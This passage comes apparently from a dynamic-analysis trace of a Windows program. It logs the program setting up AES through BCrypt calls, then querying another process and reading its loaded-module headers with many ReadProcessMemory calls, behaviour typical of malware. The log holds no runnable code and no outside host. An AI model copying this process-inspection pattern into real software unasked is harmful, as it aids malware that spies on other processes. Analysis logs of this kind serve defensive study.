pbInput=0x1400bbc28, cbInput=0x20, dwFlags=0x0 | out: hObject=0x1dd950) returned 0x0 [0062.111] GetProcAddress (hModule=0x7fefcaf0000, lpProcName="BCryptGetProperty") returned 0x7fefcaf1510 [0062.111] BCryptGetProperty (in: hObject=0x1dd950, pszProperty="ObjectLength", pbOutput=0x1400e0c18, cbOutput=0x4, pcbResult=0x12fc90, dwFlags=0x0 | out: pbOutput=0x1400e0c18, pcbResult=0x12fc90) returned 0x0 [0062.111] LocalAlloc (uFlags=0x40, uBytes=0x1fa) returned 0x1ec320 [0062.111] BCryptOpenAlgorithmProvider (in: phAlgorithm=0x1400e0be0, pszAlgId="AES", pszImplementation=0x0, dwFlags=0x0 | out: phAlgorithm=0x1400e0be0) returned 0x0 [0062.111] BCryptSetProperty (in: hObject=0x1eeff0, pszProperty="ChainingMode", pbInput=0x1400bbc68, cbInput=0x20, dwFlags=0x0 | out: hObject=0x1eeff0) returned 0x0 [0062.111] BCryptGetProperty (in: hObject=0x1eeff0, pszProperty="ObjectLength", pbOutput=0x1400e0bf8, cbOutput=0x4, pcbResult=0x12fc90, dwFlags=0x0 | out: pbOutput=0x1400e0bf8, pcbResult=0x12fc90) returned 0x0 [0062.111] LocalAlloc (uFlags=0x40, uBytes=0x26e) returned 0x1ef110 [0062.116] NtQueryInformationProcess (in: ProcessHandle=0x118, ProcessInformationClass=0x0, ProcessInformation=0x12fa80, ProcessInformationLength=0x30, ReturnLength=0x12fae0 | out: ProcessInformation=0x12fa80, ReturnLength=0x12fae0) returned 0x0 [0062.137] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fffffdf000, lpBuffer=0x12fb50, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fb50*, lpNumberOfBytesRead=0x0) returned 1 [0062.137] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x77272640, lpBuffer=0x12fc50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc50*, lpNumberOfBytesRead=0x0) returned 1 [0062.137] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3724a0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.137] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0400 [0062.137] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x372336, lpBuffer=0x1d0400, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.137] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0xfff10000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.137] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.137] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0xfff100f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.138] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.138] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0xfff100f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.138] LocalFree (hMem=0x1d0420) returned 0x0 [0062.138] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.138] LocalFree (hMem=0x1d0400) returned 0x0 [0062.138] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x372590, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.138] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0400 [0062.138] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x772553f8, lpBuffer=0x1d0400, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.138] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x77140000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.138] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.138] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x771400e0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.138] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.138] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x771400e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.138] LocalFree (hMem=0x1d0420) returned 0x0 [0062.138] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.138] LocalFree (hMem=0x1d0400) returned 0x0 [0062.138] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x372910, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.138] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.138] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3728e8, lpBuffer=0x1ee2e0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.138] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x76f20000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.138] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.138] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x76f200e8, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.139] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.139] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x76f200e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.139] LocalFree (hMem=0x1d0400) returned 0x0 [0062.139] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.139] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.139] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x372a80, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.139] LocalAlloc (uFlags=0x40, uBytes=0x1e) returned 0x1ee2e0 [0062.139] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x372a58, lpBuffer=0x1ee2e0, nSize=0x1e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.139] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd3f0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.139] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.139] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd3f00f0, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.139] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.139] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd3f00f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.139] LocalFree (hMem=0x1d0400) returned 0x0 [0062.139] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.139] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.139] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3737b0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.139] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.140] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x373788, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.140] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe090000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.140] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.140] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe0900e8, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.140] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.140] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe0900e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.140] LocalFree (hMem=0x1d0420) returned 0x0 [0062.140] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.140] LocalFree (hMem=0x1d0400) returned 0x0 [0062.140] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3739e0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.140] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.140] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3739b8, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.140] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdaa0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.140] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.140] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdaa00f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.140] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.140] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdaa00f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.140] LocalFree (hMem=0x1d0420) returned 0x0 [0062.140] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.140] LocalFree (hMem=0x1d0400) returned 0x0 [0062.140] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x373ef0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.140] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.140] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x373ec8, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.141] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefce70000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.141] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.141] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefce700f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.141] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.141] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefce700f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.141] LocalFree (hMem=0x1d0420) returned 0x0 [0062.141] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.141] LocalFree (hMem=0x1d0400) returned 0x0 [0062.141] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3877d0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.141] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.141] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3877a8, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.141] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcd00000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.141] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.141] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcd000e8, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.141] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.141] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcd000e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.141] LocalFree (hMem=0x1d0420) returned 0x0 [0062.141] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.141] LocalFree (hMem=0x1d0400) returned 0x0 [0062.141] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3878c0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.142] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.142] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x387758, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.142] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe690000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.142] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.142] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe6900e8, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.142] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.142] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe6900e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.142] LocalFree (hMem=0x1d0420) returned 0x0 [0062.142] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.142] LocalFree (hMem=0x1d0400) returned 0x0 [0062.142] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3875a0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.142] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.142] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x387578, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.142] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcf50000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.142] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.142] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcf500e8, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.142] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.142] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcf500e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.142] LocalFree (hMem=0x1d0420) returned 0x0 [0062.142] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.142] LocalFree (hMem=0x1d0400) returned 0x0 [0062.142] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3879b0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.143] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.143] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x387528, lpBuffer=0x1ee2e0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.143] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefddc0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.143] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.143] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefddc00e0, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.143] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.143] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefddc00e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.143] LocalFree (hMem=0x1d0400) returned 0x0 [0062.143] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.143] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.143] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x387aa0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.143] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.143] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3876b8, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.143] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x77040000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.143] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.143] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x770400f8, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.143] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.143] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x770400f8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.143] LocalFree (hMem=0x1d0420) returned 0x0 [0062.143] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.143] LocalFree (hMem=0x1d0400) returned 0x0 [0062.143] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x387b90, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.143] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0400 [0062.143] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x387708, lpBuffer=0x1d0400, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.144] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdd50000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.144] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.144] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdd500f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.144] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.144] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefdd500f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.144] LocalFree (hMem=0x1d0420) returned 0x0 [0062.144] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.144] LocalFree (hMem=0x1d0400) returned 0x0 [0062.144] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x387c80, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.144] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x1d0400 [0062.144] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3861c8, lpBuffer=0x1d0400, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.144] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7feff440000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.144] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.144] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7feff4400e0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.144] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.144] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7feff4400e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.144] LocalFree (hMem=0x1d0420) returned 0x0 [0062.144] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.144] LocalFree (hMem=0x1d0400) returned 0x0 [0062.144] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x387dc0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.144] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0400 [0062.144] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x387d98, lpBuffer=0x1d0400, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.145] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe520000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.145] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.145] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe5200e0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.145] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.145] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefe5200e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.145] LocalFree (hMem=0x1d0420) returned 0x0 [0062.145] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.145] LocalFree (hMem=0x1d0400) returned 0x0 [0062.145] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x388980, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.145] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.145] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x388958, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.145] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcc40000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.145] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.145] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcc400f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.145] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.145] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcc400f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.145] LocalFree (hMem=0x1d0420) returned 0x0 [0062.145] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.145] LocalFree (hMem=0x1d0400) returned 0x0 [0062.145] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389a70, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.145] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.145] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x388b18, lpBuffer=0x1ee2e0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.146] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcc20000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.146] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.146] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcc200e8, 